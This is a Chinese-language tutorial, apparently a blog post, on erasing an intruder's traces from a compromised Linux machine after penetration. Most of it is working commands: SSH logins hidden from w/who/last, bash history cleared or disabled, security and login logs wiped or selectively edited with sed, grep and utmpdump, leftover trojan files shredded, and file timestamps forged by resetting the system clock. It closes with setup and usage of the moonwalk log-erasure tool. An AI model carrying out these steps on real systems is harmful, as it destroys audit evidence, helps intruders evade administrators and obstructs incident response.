当前位置:首页>Linux>后渗透-痕迹清理(linux系统)

后渗透-痕迹清理(linux系统)

  • 2026-08-25 19:50:31
后渗透-痕迹清理(linux系统)

2.1 linux系统痕迹清理

linux的痕迹清理技术大致可以分为两类:

1、清理登陆记录以及Host记录

2、清理日志文件

2.1.1 清理登陆记录以及Host记录方法

2.1.1.1 隐藏远程ssh登陆记录

```bashssh -T root@192.168.3.133 /bin/bash -i#使用此方式隐身登录系统,不会被w、who、last等指令检测到。w :主要用于显示当前登录用户的所有信息,包括正在执行的命令。last :命令主要用于显示用户的登录历史记录。这个命令会读取/var/log/wtmp文件(在某些系统中可能是/var/log/btmp)```
```bashssh -o UserKnownHostsFile=/dev/null -T root@192.168.3.133 /bin/bash -i#不记录ssh公钥在本地.ssh目录中-o UserKnownHostsFile=/dev/null:这个选项用于指定SSH客户端用来存储已知主机密钥的文件。在这个命令中,它被设置为 /dev/null,这是一个特殊的设备文件,写入到它的数据都会被丢弃。```

ssh连接之前:

ssh连接之后:

在物理机上对kali进行ssh连接,在kali上不能看到连接记录

 2.1.1.2 History清理

> 大多数运维linux服务器都是命令行,所以历史命令存放位置就显得格外重要。

linux服务器的历史命令记录在.bash_history文件中

2.1.1.2.1 History运行原理

> 1、当 Linux 系统启动一个 Shell 时,Shell 会从 .bash_history 文件中,读取历史记录,存储在相应内存的缓冲区中。

>  2、我们平时所操作的 Linux 命令,都会记录在缓冲区中。如果在shell运⾏过程中kill掉其进程,则缓存命令不会写⼊history。 

>  3、当我们退出 Shell时(如执行exit或Ctrl+D),Shell 进程会把历史记录缓冲区的内容,写回到 .bash_history 文件中去。

2.1.1.2.2 全部删除历史记录

```bash# 查看缓存历史记录history# 清空当前历史记录(只是清空缓存中的历史记录,伪删除)history -c# 将当前缓存中的历史记录写入文件(缓存中的记录是空的-用空的数据写入文件,将文件内容删除)history -w```

2.1.1.2.3 删除指定命令方法

```bash# 筛选要删除的关键字history | grep "keyword"# 根据编号进行删除history -d num# 或者进行批量删除(只保留15行)sed -i '15,$d' .bash_history```

2.1.1.2.4 当前shell终止history记录

 2.1.1.2.4.1 方法一:

```bash# 设置当前shell内的命令不再记入日志中,命令会被记录到历史记录中,可以尝试在命令前添加空格让记录不被记录set +o history# 如果需要重新记入日志,可以设置-o参数set -o history```

执行后执行接下来的命令不会加入到history中

2.1.1.2.4.2 方法二: 

```bash# 清除当前shell缓存命令记录,当前session之后的命令不会再记录,不会删除history⽂件中的记录。unset HISTORY HISTFILE HISTSAVE HISTZONE HISTLOG```

2.1.1.2.5 禁用History的方法

2.1.1.2.5.1 方法1:

编辑/etc/profile并添加HISTSIZE=0(作用是将 shell 会话中保存的命令历史记录条数设置为0,即不保存任何命令历史)

```bash#编辑history的配置文件:vim /etc/profile#在文件的末尾加上如下的配置:HISTSIZE=0#运行如下命令使文件生效:source /etc/profile```

2.1.1.2.5.2 方法2:

在当前shell中直接输⼊命令HISTSIZE=0 && HISTFILESIZE=0,这样会将缓存的history记录和~/.bash_history中的 记录全部清空。(可对当前shell生效)

```bashHISTSIZE=0 && HISTFILESIZE=0```

2.1.1.2.5.3 方法3:

在~/.bashrc初始化文件中添加命令:HISTSIZE=0 && HISTFILESIZE=0,这样每次开启shell都不会再记录history命令。

```bash#编辑~/.bashrc文件vim ~/.bashrc# 在 ~/.bashrc 文件的末尾添加以下内容HISTSIZE=0HISTFILESIZE=0```

 2.1.1.3 linux日志清理

> 由于Linux的设计采用万物皆文件的思想,所以Linux系统的日志基本都是以文件的形式体现,所以相对Windows而言,Linux的日志清理和修改相对比较容易

2.1.1.3.1 清除相关日志信息:

```bash清除用户最后一次登录时间:echo > /var/log/lastlog清除当前登录用户的信息:echo > /var/log/utmp清除安全日志记录:cat /dev/null > /var/log/secure清除系统日志记录:cat /dev/null > /var/log/message```

2.1.1.3.2 日志文件全部删除

不留下任何痕迹,但是特征也很明显,容易被察觉,一般不推荐使用。

```bash# 将日志文件全部删除即将空字符写⼊日志文件,需要root权限,以下命令均可以实现:cat /dev/null > filename: > filename> filenameecho " " > filenameecho > filename```

2.1.1.3.3  针对性修改或删除

针对性修改,动作较小,较难被发现

2.1.1.4.1 利用sed完成修改与删除

修改

```bashsed -i 's/要被取代的字符串/新的字符串/g' 目标文件sed -i 's/woshishuju/xxxxxxxxxxxx/g' a.txt```

删除包含指定内容的行

```bashsed -i '/要删除的内容/'d 目标文件sed -i '/xxxxxx/'d a.txt```

2.1.1.4.2 利用grep -v完成删除

```bash# 1、将目标文件中带有关键字字样的记录删除,并保存为一个文件#读取目标文件 → 过滤掉含关键字的行 → 把剩下的内容写入新文件cat 目标文件| grep -v 关键字(带有关键字的记录删除) > 篡改后文件cat a.txt | grep -v 123 > a.txt# 2、将伪造文件覆盖到目标文件上cat 篡改后文件 > 目标文件```

2.1.1.4.3 二进制日志文件的修改

对于btmp、wtmp那些二进制文件,会相对麻烦点,需要先把二进制转为普通文件,然后修改,修改后再转换为二进制,以wtmp为例。

```bashutmpdump /var/log/wtmp > /var/log/wtmp.txtvim /var/log/wtmp.txtutmpdump -r < /var/log/wtmp.txt > /var/log/wtmprm /var/log/wtmp.txt```

2.1.1.4.4 利用覆写增大溯源难度

比如机器已经上线,木马文件不需要了,想要删除,但是担心目标利用一些恢复软件来进行恢复,则可以去彻底删除一个文件,所谓彻底删除,也就是通过多次对一个文件进行写入擦除操作,导致无法还原已有的内容。

```bashshred -f -u -z -v -n 6 目标文件shred -f -u -z -v -n 6 a.txt参数说明:-f, --force 必要时修改权限以使目标可写-n, --iterations=N 覆盖N 次,而非使用默认的3 次-u, --remove 覆盖后截断并删除文件-v, --verbose 显示详细信息-z, --zero 最后一次使用0 进行覆盖以隐藏覆盖动作```

2.1.1.4.5 时间修改

比如一些木马文件或其它文件想修改下时间,防止引起管理员注意,则可以使用touch命令修改,查看一个文件的时间可以用stat命令。

```bashstat test.txt#这个命令会显示三个时间,一个最近访问时间一个最近修改时间一个最近改动时间访问时间用a参数可以改,修改时间用m参数可以改,改动时间不可以改,因为改动时间是系统自动更新的,包含了元数据的改动。```

```bashtouch -a -d "2023-02-02 11:10:20.000235123" a.txttouch -m -d "2023-02-02 12:10:20.010242137" a.txt-d 参数指定你要修改的时间,点后面是时间戳,随意输入就可以,不要为一串零,容易引起怀疑。```

至于那个不能修改的改动时间,如果非要改动,思路就是先改动系统时间,然后修改目标文件,最后再恢复系统时间即可。

```bash# 停止时间同步sudo systemctl stop systemd-timesyncd# 开启时间同步sudo systemctl start systemd-timesyncd# date修改系统时间,s参数指定时间date -s "20230201 16:43:53"# touch还是用来修改文件时间,r是指定参考文件(任意指定就可以),意思是把指定的参考文件时间赋给目标文件touch -r ~/.bashrc a.txt# hwclock是指的硬件中的时间,hctosys意思是把硬件时间同步给系统hwclock --hctosys```

2.2 Moonwalk(linux系统日志清除工具)

moonwalk是一个400 KB的单二进制可执行文件,可以在渗透测试Unix机器时清除您的痕迹。它会保存渗透前系统日志的状态,并可以在渗透之后恢复该状态(包括文件系统时间戳),不会在shell中留下痕迹。

特征:

> 小型可执行文件:快速开始curl获取目标机器。 快速:在 5 毫秒内执行所有会话命令,包括日志记录、跟踪清除和文件系统操作。

> 侦察:为了保存系统日志的状态,moonwalk找到一个全局可写路径并将会话保存在一个点目录下,该目录在结 束会话时被删除。

> Shell历史记录:不是清除整个历史记录文件,而是moonwalk将其恢复为包括调用moonwalk文件系统时间戳:通过将文件的访问/修改时间戳恢复为使用GET命令的方式来隐藏。

2.2.1 安装:

```bashcurl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk```

或者从releases下载可执行文件或使用cargo命令安装:

```bashcargo install --git https://github.com/mufeedvh/moonwalk.git```

安装Rust/Cargo:

```bashhttps://rust-lang.org/tools/install```

**运行前的环境配置**

1.Git:用于克隆源码

```bashsudo apt install git```

2.Rust/Cargo:用于编译 Rust 项目

```bashsudo apt install rustc cargo -y```

3.运行moonwalk

```bash进入源码目录cd moonwalk-master```
```bash编译项目(生成可执行文件)cargo build --release```
```bash运行moonwalk工具./target/release/moonwalk start```

接下来进行渗透的操作。操作所留下来的日志记录痕迹,可以使用moonwalk清理并关闭会话:

```bash./target/release/moonwalk finish```

使用moonwalk恢复文件的时间戳:

```bashchmod +x ./target/release/moonwalk ./target/release/moonwalk get test.txt```

对该文件做出修改之后,可以使用命令还原时间戳。

touch -a -t 202501100841.36 -m -t 202501100839.14 test.eml

2.3 其他工具:bleachbit

工具官方下载地址:https://www.bleachbit.org/download

> BleachBit 是一个开源的系统清理工具,支持 Windows 和 Linux。它的作用是通过删除那些不必要 的文件来释放硬盘空间,同时也能有效增强隐私保护。它不仅清理缓存、Cookies、历史记录等,还能清除临时文件和损坏的快捷方式,帮助你把系统维护得更干净、更高效

工具介绍:https://mp.weixin.qq.com/s/Yvxb_YAAg1j3c0M0NwJqWA

清理缓存

最新文章

随机文章